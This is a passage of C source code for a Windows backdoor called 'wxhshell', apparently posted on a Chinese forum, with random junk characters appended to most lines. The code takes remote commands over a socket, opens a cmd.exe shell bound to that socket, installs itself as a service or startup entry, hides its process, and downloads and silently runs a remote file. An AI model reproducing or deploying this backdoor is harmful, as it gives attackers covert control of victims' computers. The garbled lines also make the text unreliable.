    switch(cmd[0]) { m|tC24  
  Y,S\2or$  
  // 帮助 ZfAzc6J?\  
  case '?': { 6]cryf&b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U%<rn(xWXD  
    break; alMYk  
  }  l~s7Ae  
  // 安装 lJ;J~>  
  case 'i': { EV M7Q>  
    if(Install()) NcS.49  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9' 1B/{  
    else E\7m< 'R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %V!iQzL1  
    break; d[gl]tj9  
    } 3L>IX8_   
  // 卸载 '_s}o<  
  case 'r': { !v|ISyK  
    if(Uninstall()) iO w3MfO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbBy/_b  
    else W[bmzvJ_X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\ND(  
    break; V)M1YZV{  
    } 5X.ebd;PT  
  // 显示 wxhshell 所在路径 % ~ ]xuP[  
  case 'p': { Pf_F59"  
    char svExeFile[MAX_PATH]; e'*HS7g  
    strcpy(svExeFile,"\n\r"); Y qdWctUY  
      strcat(svExeFile,ExeFile); jjs&`Fy,  
        send(wsh,svExeFile,strlen(svExeFile),0); G`h+l<  
    break; 'vV$]/wBF  
    } B/f0P(7  
  // 重启  }alj[)  
  case 'b': { <~emx'F|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }3 m0AQ;K  
    if(Boot(REBOOT)) [onqNp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vE, 37  
    else { \kIMDg3}  
    closesocket(wsh); @`"AHt  
    ExitThread(0); %u\26[/  
    } >Q E{O.Z  
    break; ^ZeJ[t&!#  
    } NLd``=&  
  // 关机 }-p[V$:S  
  case 'd': { gT+Bhr  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GOy%^:Xd  
    if(Boot(SHUTDOWN)) 1MsWnSvzf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!h/B;*(  
    else { 4Cb9%Q0  
    closesocket(wsh); ,<,:8B  
    ExitThread(0); &a)eJF]:!  
    } E|EgB33S  
    break;  NW9n  
    } ?8@>6 IXn  
  // 获取shell Ds8 EMtS  
  case 's': { sRHA."A!8  
    CmdShell(wsh); 'XOX@UH d  
    closesocket(wsh); 8iQ[9  
    ExitThread(0); Cr/`keR  
    break; EOKzzX7 S  
  } b4 #R!  
  // 退出 f&@BKx  
  case 'x': { X&m'.PA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U]~^ZR  
    CloseIt(wsh); :& XH?/Wi  
    break; u`:hMFTID  
    } 0[A9b,MMVO  
  // 离开 (P|~>k  
  case 'q': { 5r {;CKKz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "VxWj}+]  
    closesocket(wsh); ,{eU P0]  
    WSACleanup(); h&@R| N  
    exit(1); |aToUi.Q%  
    break; 4\5uY  
        } QrG`&QN  
  } gIEl.  
  } U!5)5c}G  
neF]=uCWnT  
  // 提示信息 I8Vb-YeS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <3X7T6_:@  
} Rhzn/\)|  
  } T5Eseesp  
O%!5<8Xrb  
  return; u'A#%}3  
} 9a$56GnW1  
{NM+Oj,~'  
// shell模块句柄 KGHq rc  
int CmdShell(SOCKET sock) `em9T oJV  
{ SF ]@|  
STARTUPINFO si; 1M3% fW  
ZeroMemory(&si,sizeof(si)); rEZ8eeB[3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 LP?Ij  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [e e%c Xo  
PROCESS_INFORMATION ProcessInfo; cp Ear  
char cmdline[]="cmd"; $3+PbYY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'fwU]Hm  
  return 0; u~zs* qp  
}  @gGRm  
6~meM@  
// 自身启动模式 DrW#v-d  
int StartFromService(void) [|`U6 8}u  
{ VxO%rq3  
typedef struct M.}7pJ7f  
{ #b0{#^S:  
  DWORD ExitStatus; 8t"~Om5sG  
  DWORD PebBaseAddress; )wXuwdc[  
  DWORD AffinityMask; C R<`ZNuWz  
  DWORD BasePriority; Mq%,lJA\  
  ULONG UniqueProcessId; 7YWNd^FI V  
  ULONG InheritedFromUniqueProcessId; HHk)ZfWRo  
}   PROCESS_BASIC_INFORMATION; Y]aW)u  
6X g]/FD  
PROCNTQSIP NtQueryInformationProcess; {[Q0qi =  
@{ ;XZb^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :B *}^g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^ ?hA@{T/1  
%%%fL;-y  
  HANDLE             hProcess; uv{P,]lK  
  PROCESS_BASIC_INFORMATION pbi; Jc4L5*Xn/  
{y kYW%3s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XV>JD/K2  
  if(NULL == hInst ) return 0; YOyX[&oi  
rPzQ8<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sPAg)6&M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0Rxe~n1o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +m\|e{G  
}peBR80tQ  
  if (!NtQueryInformationProcess) return 0; [Bb utGvj  
1MkI0OZE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XhU@W}}  
  if(!hProcess) return 0; Doze8pn  
/Wk9-uH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )w~Fo,   
Z-=YM P ]Q  
  CloseHandle(hProcess); BF|(!8S$U  
m8]?hJY 3l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {-zMHVw=}  
if(hProcess==NULL) return 0; :Gqy>)CxX  
}`_@'4:t  
HMODULE hMod; 0O!cN_l|  
char procName[255]; iyx>q!P  
unsigned long cbNeeded; o(A|)c4k  
'$|UwT`s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Q`WB0E<|  
[jx0-3s:X  
  CloseHandle(hProcess); }b3/b  
Hq&"+1F  
if(strstr(procName,"services")) return 1; // 以服务启动 \~rlgxd  
PnT)LqEF  
  return 0; // 注册表启动 &FdWFt=X  
} gA#RM5x@  
{ Ng oYl  
// 主模块 )+I.|5g  
int StartWxhshell(LPSTR lpCmdLine) ZBD;a;wx  
{ R_P}~l  
  SOCKET wsl; &Jc_Fc(M  
BOOL val=TRUE; -XoPia2  
  int port=0; pI`?(5iK6|  
  struct sockaddr_in door; ,M !tm7  
<M?:  
  if(wscfg.ws_autoins) Install(); |Q~cX!;  
6bc3 37b  
port=atoi(lpCmdLine); 1a0kfM$  
UsVMoX^  
if(port<=0) port=wscfg.ws_port; #eP LOR&q  
 2B~wHv  
  WSADATA data; l kIn%=Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z5\;OLJS,  
`XTh1Z\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Upl6:xYrG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |rRO@18dA  
  door.sin_family = AF_INET; OY-w?'p?W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6+rlXmd  
  door.sin_port = htons(port); .uo.N   
C=Fzu&N}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |C \}P  
closesocket(wsl); 4 fV3Ear=j  
return 1; $ 0|a;  
} U09.Y  
q=HHNjj8  
  if(listen(wsl,2) == INVALID_SOCKET) { +H/jK@  
closesocket(wsl); Y>."3*^  
return 1; :S@1  
} }]1BO  
  Wxhshell(wsl); 8cx=#Me  
  WSACleanup(); 89}Y5#W  
gE/Tj$  
return 0; Fh7'[>onw  
0Y=![tO8  
} oj,lz?  
FX <b:#  
// 以NT服务方式启动 }!#gu3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W" "*ASi  
{ `L;eba  
DWORD   status = 0; @\_x'!R  
  DWORD   specificError = 0xfffffff; ` >!n  
{npcPp9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gnm4gF!BI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iL{M+Ic  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o;"OSp  
  serviceStatus.dwWin32ExitCode     = 0; *="8?Z  
  serviceStatus.dwServiceSpecificExitCode = 0; jdeV|H} u  
  serviceStatus.dwCheckPoint       = 0; }G46g#_6d>  
  serviceStatus.dwWaitHint       = 0; Q "r_!f  
c47")2/yO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TZir>5  
  if (hServiceStatusHandle==0) return; ^62|d  
&}mw'_ I  
status = GetLastError(); (oK^c- x  
  if (status!=NO_ERROR) aFiCZHohw  
{ r9 y.i(j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kyh_9K1  
    serviceStatus.dwCheckPoint       = 0; u D 5%E7  
    serviceStatus.dwWaitHint       = 0; TfxwVPX  
    serviceStatus.dwWin32ExitCode     = status; 8 S`9dSc  
    serviceStatus.dwServiceSpecificExitCode = specificError; .N4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .UCt|> $  
    return; ER2GjZa\z  
  } V5"CSMe  
Z{IUy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,[p T4G  
  serviceStatus.dwCheckPoint       = 0; x)rlyjFM  
  serviceStatus.dwWaitHint       = 0; pZZgIw}aS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ub0zJTFJ#  
} "o!{51!'  
>e5 *prx+  
// 处理NT服务事件,比如:启动、停止 (LvS :?T}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gMWBu~;!  
{ `?*%$>W#"  
switch(fdwControl) ^da44Qqu  
{ <q)4la  
case SERVICE_CONTROL_STOP: F1;lQA*7K.  
  serviceStatus.dwWin32ExitCode = 0; rn@`yTw^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y #f QPR  
  serviceStatus.dwCheckPoint   = 0; \2[<XG(^  
  serviceStatus.dwWaitHint     = 0; )|j[uh6w o  
  { "\"DCDKmG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'PZ|:9FX!  
  } -!RtH |P  
  return; }F6<w{|  
case SERVICE_CONTROL_PAUSE: djQv[Vc {  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )'4P.>!!aQ  
  break; Mpue   
case SERVICE_CONTROL_CONTINUE: h[KvhbD3   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lA!"z~03*  
  break; pD"vRbYF  
case SERVICE_CONTROL_INTERROGATE: #BVtL :x@  
  break; %z]U LEYrZ  
}; h<<>3A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*S=[dq  
} .%BT,$1K  
))D:8l@  
// 标准应用程序主函数 h+.{2^x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !  hd</_#  
{ Eh</? Qv\  
j*@l"V>~  
// 获取操作系统版本 Kr'f-{  
OsIsNt=GetOsVer(); IH48|sa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Q,g7K<d  
5[l8y ,  
  // 从命令行安装 i!2TH~zl  
  if(strpbrk(lpCmdLine,"iI")) Install(); l:;PXy6)  
( GnuWc\p  
  // 下载执行文件 +=Jir1SLV  
if(wscfg.ws_downexe) { rVvR!"//yH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'AGto'Yy;  
  WinExec(wscfg.ws_filenam,SW_HIDE); WtQ8X|\`  
} C fEmT8sa  
e:E0"<  
if(!OsIsNt) { 5wB =>  
// 如果时win9x,隐藏进程并且设置为注册表启动 T#%/s?_>.  
HideProc(); :a8 YV!X  
StartWxhshell(lpCmdLine); HD,xY4q&N  
} # ?1Sm/5k`  
else 3P~o"a>  
  if(StartFromService()) e+v({^k  
  // 以服务方式启动 )M=ioE8`h  
  StartServiceCtrlDispatcher(DispatchTable); 3<=,1 cU  
else 0`.^MC?  
  // 普通方式启动 (Q[fS:U  
  StartWxhshell(lpCmdLine); AT2v!mNyCw  
,y4I[[  
return 0; 5Dp#u  
}
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只看该作者 1 发表于: 2006-10-10
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